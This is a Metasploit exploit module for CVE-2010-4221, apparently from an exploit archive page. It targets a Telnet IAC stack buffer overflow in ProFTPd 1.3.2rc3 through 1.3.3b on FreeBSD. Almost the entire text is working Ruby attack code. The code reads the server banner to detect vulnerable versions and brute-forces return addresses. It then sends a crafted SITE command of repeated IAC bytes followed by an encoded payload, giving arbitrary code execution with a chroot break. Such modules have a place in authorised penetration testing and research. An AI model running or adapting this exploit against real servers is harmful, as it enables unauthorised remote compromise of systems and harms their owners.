ProFTPd 1.3.2 rc3 < 1.3.3b (FreeBSD) - Telnet IAC Buffer Overflow (Metasploit)

Related Vulnerabilities: CVE-2010-4221  
Publish Date: 02 Dec 2010
Author: Metasploit
                							

                ##
# $Id: proftp_telnet_iac.rb 11208 2010-12-02 21:10:03Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 &lt; Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           =&gt; 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)',
			'Description'    =&gt; %q{
					This module exploits a stack-based buffer overflow in versions of ProFTPD
				server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
				large number of Telnet IAC commands, an attacker can corrupt memory and
				execute arbitrary code.
			},
			'Author'         =&gt; [ 'jduck' ],
			'Version'        =&gt; '$Revision: 11208 $',
			'References'     =&gt;
				[
					['CVE', '2010-4221'],
					['OSVDB', '68985'],
					['BID', '44562']
				],
			'DefaultOptions' =&gt;
				{
					'EXITFUNC' =&gt; 'process',
					'PrependChrootBreak' =&gt; true
				},
			'Privileged'     =&gt; true,
			'Payload'        =&gt;
				{
					'Space'    =&gt; 1024,
					# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
					'BadChars' =&gt; "\x00\x0a\x0d",
					'PrependEncoder' =&gt; "\x83\xec\x7f", # sub esp,0x7f (fix esp)
				},
			'Platform'       =&gt; [ 'bsd' ],
			'Targets'        =&gt;
			[
				#
				# Automatic targeting via fingerprinting
				#
				[ 'Automatic Targeting', { 'auto' =&gt; true }  ],

				#
				# This special one comes first since we dont want its index changing.
				#
				[	'Debug',
					{
						'IACCount' =&gt; 8192, # should cause crash writing off end of stack
						'Offset' =&gt; 0,
						'Ret' =&gt; 0x41414242,
						'Writable' =&gt; 0x43434545
					}
				],

				#
				# specific targets
				#
				[ 'ProFTPD 1.3.2a Server (FreeBSD 8.0)',
					{
						'IACCount' =&gt; 1024,
						'Offset' =&gt; 0x414,
						#'Ret' =&gt; 0xbfbfeac4,
						'Writable' =&gt; 0x80e64a4,
						'Bruteforce'   =&gt;
							{
								'Start' =&gt; { 'Ret' =&gt; 0xbfbffdfc },
								'Stop'  =&gt; { 'Ret' =&gt; 0xbfa00000 },
								'Step'  =&gt; 512
							}
					}
				],

			],
			'DefaultTarget'  =&gt; 0,
			'DisclosureDate' =&gt; 'Nov 1 2010'))

		register_options(
			[
				Opt::RPORT(21),
			], self.class )
	end


	def check
		# NOTE: We don't care if the login failed here...
		ret = connect

		# We just want the banner to check against our targets..
		print_status("FTP Banner: #{banner.strip}")

		status = CheckCode::Safe
		if banner =~ /ProFTPD (1\.3\.[23][^ ])/i
			ver = $1
			maj,min,rel = ver.split('.')
			relv = rel.slice!(0,1)
			case relv
			when '2'
				if rel.length &gt; 0
					if rel[0,2] == 'rc'
						if rel[2,rel.length].to_i &gt;= 3
							status = CheckCode::Vulnerable
						end
					else
						status = CheckCode::Vulnerable
					end
				end
			when '3'
				# 1.3.3+ defaults to vulnerable (until &gt;= 1.3.3c)
				status = CheckCode::Vulnerable
				if rel.length &gt; 0
					if rel[0,2] != 'rc' and rel[0,1] &gt; 'b'
						status = CheckCode::Safe
					end
				end
			end
		end

		disconnect
		return status
	end

	def target
		return @mytarget if @mytarget
		super
	end

	def exploit
		connect

		# Use a copy of the target
		@mytarget = target

		if (target['auto'])
			@mytarget = nil

			print_status("Automatically detecting the target...")
			if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
				print_status("FTP Banner: #{banner.strip}")
				version = m[1]
			else
				raise RuntimeError, "No matching target"
			end

			regexp = Regexp.escape(version)
			self.targets.each do |t|
				if (t.name =~ /#{regexp}/) then
					@mytarget = t
					break
				end
			end

			if (not @mytarget)
				raise RuntimeError, "No matching target"
			end

			print_status("Selected Target: #{@mytarget.name}")

			pl = exploit_regenerate_payload(@mytarget.platform, arch)
			if not pl
				raise RuntimeError, 'Unable to regenerate payload!'
			end
		else
			print_status("Trying target #{@mytarget.name}...")
			if banner
				print_status("FTP Banner: #{banner.strip}")
			end

			pl = payload
		end
		disconnect

		super
	end

	def brute_exploit(addrs)
		@mytarget ||= target

		ret = addrs['Ret']
		print_status("Trying return address 0x%.8x..." % ret)

		#puts "attach and press any key"; bleh = $stdin.gets

		buf = ''
		buf &lt;&lt; 'SITE '
		# NOTE: buf must be odd-lengthed prior to here.
		buf &lt;&lt; "\xff" * @mytarget['IACCount']
		buf &lt;&lt; rand_text_alphanumeric(@mytarget['Offset'] - buf.length)
		buf &lt;&lt; [
			ret,
			@mytarget['Writable']
		].pack('V*')
		buf &lt;&lt; payload.encoded
		buf &lt;&lt; "\r\n"

		connect
		sock.put(buf)
		disconnect

		handler
	end

end